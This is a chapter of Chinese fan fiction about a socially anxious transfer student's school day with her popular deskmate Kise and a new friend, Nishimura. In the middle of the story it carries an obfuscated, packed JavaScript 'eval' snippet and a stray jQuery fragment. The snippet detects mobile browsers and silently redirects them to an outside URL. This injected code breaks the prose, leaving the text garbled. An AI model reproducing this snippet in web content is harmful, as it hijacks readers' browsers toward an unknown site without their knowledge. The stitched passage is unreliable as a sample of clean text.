失眠了。
盯着熟悉又陌生的天花板一整晚，直到闹钟响起才恍然意识到这件事的我如是想道。
勇气的魔法终究没能维持到午夜零点。
我依旧还是那个不想去学校、也不想面对老师和同学的没用的我。
要不干脆请假——不行，一旦开了这个头就没办法停下了。
脑内挣扎到第二遍闹铃响起，我才终于认命地从被窝中坐起，麻木地起床。
人生中的前十三年，我都是在名为横滨的城市中度过的，现在住的是正是那时的旧房子。虽然之前它被租了出去，但家里的一切还维持着我记忆中的模样。
父亲并不放心让我独居，原本打算请家政阿姨来照顾我，但这个提议被我坚定地否决了。对我来说，在自己家还要面对不认识的人才比较可怕。
我是发自真心地认为“一个人就好”，与人相处只会让我徒增压力。
如此孤僻的我对人生有明确的规划。
先是顺利毕业，然后找份还算得过去的工作。反正我物欲很低，应该很快就能攒够钱。
只要偿还完父母，我就可以安心地在六叠大的公寓里孤独终老了。
虽然工作也是一个大问题。
因为沉默寡言，经常读不懂空气，再加上倒霉到出名，融入不了集体的我最终成为了大家口中的怪人。
小组作业中总是那个安静等待别人分配任务的边缘角色，头脑风暴时也会全程一言不发祈祷被大家遗忘。
团队合作这种事情我根本做不到。
如果是真的什么都不在乎，能享受这个状态还好，那样还能被称之为个性。
但我讨厌这样的自己。
*
为了防止发生意外导致迟到，我通常会提前半小时出门。
顺利到达学校时，时间还很早，教室里并没有多少人在，这种时候进去就会格外显眼。
但幸运的是，我的座位在最后排，从后门到座位一共只需要五步。
悄无声息地回到座位上后，我打开书包，忐忑不安地从最里层地拿出那个曲奇礼盒，在确认它没有受到任何外力撞击产生变形时，才放下心来。
对像我这样自我评价低的人而言，越是被温柔以待越会感到惶恐不安。
因为没办法心安理得地接受他人无条件的好意，所以我在昨晚放学后特意去商业街买了给同桌的回礼。
人际交往应该就是这样等价交换的吧？
……其实我不知道，但这样做总不会出错。
我小心翼翼地环视一圈，确认没有人在注意这边之后，俯身靠近黄濑同学的桌子，想要偷偷把东西塞进他的抽屉里。
但里面并没有留给我的位置。
本应空荡荡的桌肚内塞着好几份礼物，将狭窄的空间挤得没有一丝缝隙。
包装得异常可爱的心形巧克力系着丝带，从边缘露出一角；系着勿忘草干花的信封被夹在旁边，从上面传来了浅淡的香水味，应该是情书。
对哦，像他那样的人，不受欢迎才更奇怪吧。
在晨间的时间点，阳光会恰好从窗户上方斜着落在他和我的座位之间，于是一半沐浴在光里的他就会是有些刺眼的、闪闪发光的模样。
而此刻，这道分界线明晃晃地将我隔开，像是在嘲笑我的自以为是。
我踌躇着伸出手，将那封摇摇欲坠的信往里推了一点，然后把对比之下显得有些多余的回礼塞进自己的课桌里。
「那是和我生活在不同世界的耀眼存在。」
我总是容易得意忘形，一旦遇到好人就会变得飘飘然从而产生错觉，认为自己有多重要似的。
我叹了口气，趴在桌上将头埋进臂弯中试图逃避现实。
——然后不知不觉就睡着了。
如果说被窝里有无论如何也无法逃离的诅咒，那么课桌上也一定有无论何时都能安然入睡的诅咒。
睡到一半的我被课间前桌起身时制造出的动静惊醒，从手臂间抬起头时恰好听到有人在叫我。
“啊，终于醒了？我还在想要不要叫醒你，下节课要换到理科教室哦。”
好熟悉的声音。
大脑还有点懵，我迟钝地抬头看向对方，缓慢眨眼。逐渐清晰的视野里，属于同桌的轮廓和色彩也变得鲜明起来。
灰色、白色、金色的。
四目相对，我陡然清醒。
嘈杂的背景中，是陆续结伴离开教室的同学。黄濑同学刚好从座位上站起，垂头看着我。
意识到现在是什么情况后，我下意识地也想站起来。但由于动作幅度太大，膝盖猝地撞在课桌底部，发出明显的响声，不争气的双腿也因为睡太久而无法使力。
起立失败的我摔回座位上，失去平衡踉跄了一下，便连带着座椅一同倒向教室后排的储物柜。
——如果把柜子撞坏就完蛋了。
这个念头出现的瞬间，我可靠的同桌利落果断地伸出手臂，拦住了椅背。
没想到他的力气还挺大。
脑海中响起毫不相关的感叹。
歪到一半的椅子被推回原位，因为俯身的动作，他衬衫前的领带随着重力垂落，从我肩上滑过。
有些痒的触感。
防御的屏障从这里被敲开一道裂隙，不自在的情绪也自其间生长蔓延。我不敢动弹，直到重新坐稳后，才不好意思地说：“给你添麻烦了，谢谢。”
我听见很轻的笑声。
无法分辨它的具体含义，只能隐约感觉到它与嘲笑无关。
视野边界里，少年带着清爽的笑容拿起桌上的书，站在同伴身边对我挥手道别，甚至没忘记提醒我：“不要忘记带课本哦。”
于是身边的空气里只剩下浅淡的洗涤剂香气，闻起来有些酸涩。
嗯，是柠檬的味道。
*
上午的课顺利结束，然后便是午休。
中午吃什么这个问题对我来说答案显而易见——毕竟食堂是社恐无法踏足的禁地。
在教室还好，一旦身处人群之中，发现除了自己以外的人都有同伴，就会忍不住为自己的不合群感到难堪。
在便利店买了面包和牛奶，用最快的速度解决午饭后，我回到教室想要抓紧时间补觉，却意外发现自己的座位被人占用了。
应该是其他班的女孩子，看上去聊得很开心。
我下意识地躲往了门外。
并不是有多介意，只是觉得有点尴尬。
我在学校里明白的第一件事就是“要学会读空气”，所以绝不可以成为那个打扰他人的异类。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160056|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不想被排斥。
不想被讨厌……
“你在这里做什么？”
背后突然传来了声音，沉浸在自己的世界中的我被吓得一抖，险些尖叫出声。我慌忙回头，站在身后的女孩子正困惑地注视着我。
和大脑空白紧张到半天没能说出话的我截然相反，她歪头，颇为平静地开口：“西村叶月，我的名字。”
“你好！西村同学！我是……”
“宫城伊织对吧？那个奇妙的转校生，我还记得。”
奇、奇妙？这是褒义还是贬义？
我不敢问出口。而她越过在原地踌躇的我，探头往教室里看了一眼，很快又心领神会地回过头。
“想回座位？”她问。
“嗯。”我点了点头。
“但是不敢过去？”她又问。
“嗯。”我又点了点头。
她看了我半晌，最后直截了当地拉起我的手往教室后排走去。
我满脸不情愿地被她艰难拖进了教室。
“不好意思，可以把座位让出来吗？我要给同学讲一下上午的数学题。”西村带着礼貌的微笑站在我身前，挡住了原本会落在我身上的目光。
坐在椅子上的那位女生惊讶地站了起来，满脸歉意：“啊非常抱歉！我们没注意到这边，实在是不好意思。”
“你们是来找黄濑同学的吧？”西村说，“他一般要到午休结束才会回来，这个时间点可能等不到。”
“哎？这样吗……谢谢你告诉我们！”在原地纠结了一会后，她们两人就老实地离开了。
西村替我把桌椅扶回原位，看向还愣在旁边的我说：“这是常有的事情，不用太在意。下次再遇到直接和她们说就好，越是忍耐，就越会被当成是好欺负的人。”
“嗯……给你添麻烦了，不好意思。”
“这种程度完全算不上添麻烦吧。”
西村看向我，目光介于好奇和疑惑之间。但她并不是那种表情很丰富的类型，所以我没办法从脸上读出更多信息。
我不安地垂眸，将视线放在她肩颈下的发尾，手指不自觉攥紧西服下摆。
正午的阳光照亮了教室，站在我身前的少女棕色的发丝也染上了温暖的颜色。
片刻后，她有些恍然地说。
“居然不是啊。”
“诶？”
“昨天自我介绍的时候，你全程都面无表情，看上去很冷淡的样子，我还以为会很难相处。”
……其实只是因为太过紧张而失去面部管理功能了而已！
这下连害怕都顾不上了，我诚恳地道歉：“让您产生这种程度的误解真的十分抱歉！”
“这种事情并不需要道歉啊。”她有些好笑地感叹起来，“这就是所谓的不悯系吗？”
“嗯？”
“就是那种感觉可怜兮兮，但是又很可爱、让人忍不住想要关心的类型。”
“哦……”
其实听不太懂，但既然说了可爱，应该不是贬义吧。
我猛然抬头，不可置信地说：“可、可爱？！”
“对啊。”她一脸理所当然。
光线从那一侧照射过来，遗落在我的身前。我眨了眨眼，恍惚间觉得那份温度在此时此刻好像触手可及。